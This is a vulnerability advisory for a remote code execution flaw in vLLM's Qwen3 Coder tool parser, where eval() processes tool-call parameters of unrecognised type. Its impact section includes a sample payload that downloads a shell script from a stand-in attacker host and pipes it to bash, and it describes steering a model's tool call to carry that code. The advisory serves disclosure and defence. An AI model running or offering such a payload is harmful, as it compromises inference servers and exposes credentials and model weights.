CVE-2025-9141: vLLM: RCE via eval() in Qwen3 Coder tool parser

### Summary An unsafe deserialization vulnerability allows any authenticated user to execute arbitrary code on the server if they are able to get the model to pass the code as an argument to a tool call. ### Details vLLM's [Qwen3 Coder tool parser](https://github.com/vllm-project/vllm/blob/main/vllm/entrypoints/openai/tool_parsers/qwen3coder_tool_parser.py) contains a code execution path that uses Python's `eval()` function to parse tool call parameters. This occurs during the parameter conversion process when the parser attempts to handle unknown data types. This code path is reached when: 1. Tool calling is enabled (`--enable-auto-tool-choice`) 2. The qwen3_coder parser is specified (`--tool-call-parser qwen3_coder`) 3. The parameter type is not explicitly defined or recognized ### Impact Remote Code Execution via Python's `eval()` function.

An adversary with valid but low-privileged API credentials (stolen service account, malicious insider, or compromised client in a multi-tenant deployment) sends a crafted tool call request to a vLLM endpoint running Qwen3 Coder. The tool call includes a parameter with an unrecognized or ambiguous type, triggering the parser's eval() fallback path. The adversary injects a payload such as __import__('os').system('curl attacker.com/shell.sh | bash') as the parameter value. This executes on the inference server under the process owner's privileges, enabling credential theft, internal network pivoting, model weight exfiltration, or persistent backdoor installation.